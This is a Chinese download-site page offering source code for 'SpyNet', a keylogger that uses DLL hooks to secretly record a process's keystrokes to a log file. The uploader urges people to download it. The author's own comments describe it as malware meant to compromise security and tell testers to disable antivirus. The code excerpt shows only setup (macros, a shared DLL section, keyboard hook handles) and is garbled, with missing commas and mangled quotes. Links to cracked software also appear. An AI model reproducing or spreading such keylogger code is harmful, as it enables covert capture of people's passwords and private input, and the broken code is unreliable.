资源简介
利用dll的hook悄悄监视某进程键盘输入并保存日志到log,我测过非常有用,需要的赶紧下载了,还可以利用生成log做后序开发。
代码片段和文件信息
//Author: st0le [st0le‘n‘stuff softwarez!]
//URL : http://st0lenc0des.googlepages.com
/*
* This code may be freely distributed
* and used for any non-commericial purpose as long as its copyright
* notice is retained. The author assumes absolutely no responsibility
* for any harm caused by the Program or bugs in the code.
**/
//Warning : Your Anti-Virus will (should) Flag This Application Hostile. To Test it you‘ll need to disable your AV.
// No Autorun capability has been added so to Clean your system perform a Cold Reboot.
// The Application has Malware Characteristics and IS Intended to Compromise Security.
// The Dll is Injected into Multiple Processes and may cause the system to slow down or de-stabilize.
// If This Scares You should Delete The Source Code and Binaries right now.
//Disclaimer:
// The Author assumes no Responsiblity for the damage that may be caused by this program.
// This program is distributed in the hope that it will be useful
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// Stricly for educational purposes.
// The Author condemns the use of the Content/Program for illegal/unethical purposes.
#include
#define MAX 256 // who else loves 256? =)
//my macros
#define my_toLower(x) ((x >= ‘A‘) && (x <= ‘Z‘)? (x - ‘A‘ + ‘a‘):(x));
#define my_isUpper(x) ((x >= ‘A‘) && (x <= ‘Z‘))
#define AUTOHOOK TRUE
#ifndef AUTOHOOK
#error “Dude You HAVE To Define The AUTOHOOK Preprocessor.“
#else
#if ((AUTOHOOK != TRUE) && (AUTOHOOK != FALSE))
#error “Dude You HAVE To Define The AUTOHOOK Preprocessor as TRUE or FALSE.“
#endif
#endif
//my really lame versions of debug
#define DEBUG FALSE
#if DEBUG
#define msgbox(x) MessageBox(0xx0)
void msgvar(DWORD dwValuechar *szVar = NULL)
{
char szBuf[MAX];
if(!szVar)
wsprintf(szBuf“Value = [%u] (%#X)“dwValuedwValue);
else
wsprintf(szBuf“%s = [%u] (%#X)“szVardwValuedwValue);
MessageBox(0szBuf“Debug“0);
}
void msgvar(char *szValuechar *szVar = NULL)
{
char szBuf[MAX];
if(!szVar)
wsprintf(szBuf“Value = [%s]“szValue);
else
wsprintf(szBuf“%s = [%s]“szVarszValue);
MessageBox(0szBuf“Debug“0);
}
#else
#define msgbox(x) 0 //used where “return msgbox(“message“);“
#endif
//Shared Section of DLL (Holds the Injector Hook)
#pragma data_seg(“.SpyNet“)
HHOOK hInjectionHook = NULL;
#pragma data_seg()
#pragma comment(linker“/SECTION:.SpyNetRWS“)
//Global Variables
char g_exePath[MAX_PATH + 1];
char g_dllPath[MAX_PATH + 1];
char g_logPath[MAX_PATH + 1];
HINSTANCE g_hInstance = NULL; //my instance
HHOOK hKLoggerHook = NULL; //WH_KEYBOARD Hook
HANDLE g_hLogFile = NULL; //File Handle to Log File
HWND g_hwndLastActiveWindow = NULL; //Handle to last active window
//Note: SpyNet CAN also Log
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 2647 2000-01-01 01:20 SpyNet.dsp
文件 10017 2000-01-01 02:25 SpyNet.cpp
文件 41 2000-01-01 01:19 SpyNet.def
文件 1823 2000-01-01 01:26 Info.txt
文件 535 2000-01-01 00:28 SpyNet.dsw
- 上一篇:激光机原理以及应用简介.doc
- 下一篇:最新版U盘数据恢复大师含注册码new
相关资源
- zlib1.dll 支持WinXP Win7 Win8 Win10
- jmail.dll文件 jmail简易安装 jmail组件
- Visual Assist_VA_X_2283_2破解版带key绿色单
- NET Reflector 8.3破解版自带代码导出
- NuGetPackageExplorer DLL管理工具
- 把SerialPort通讯类封装成的DLL
- hook任意api的函数.rar
- NET DLL 查看器
- 查看64位dll和ocx的Depends工具
- depend很实用的东西
- depend walker (dependency walker) DLL 查看
- DLL依赖查看工具
- sapjco3.dll(版本721.619)
- de4net脱壳
- 天锐绿盾客户端补丁-解决文件上鼠标
- 易语言超级HOOK
- 易语言封包截取源码易语言HOOKapi实现
- Microsoft.ReportViewer.Common.dll 12.0.0.0等8个
- 微信ipad/mac协议最新dll及demo
- Tesseract(DLL)
- zxingDLL生成二维码动态链接库.zip
- OpcRcw.Ae.dll OpcRcw.Batch.dll OpcRcw.Comn.dll
- 运行Capture.exe找不到cdn_sfl401as.dll
- MuPDF动态链接库
- .net反编译工具可以编译DLL和.exe文件
- Trade.dll 交易接口和TradeX.dll行情交易二
- trade.dll破解版
- Newtonsoft.json.dll v4.5.11
- AdS和Chern-Simons引力的Newton-Hooke / Carr
- OpenCV3.3+contrib-master,VS2013编译后的l
评论
共有 条评论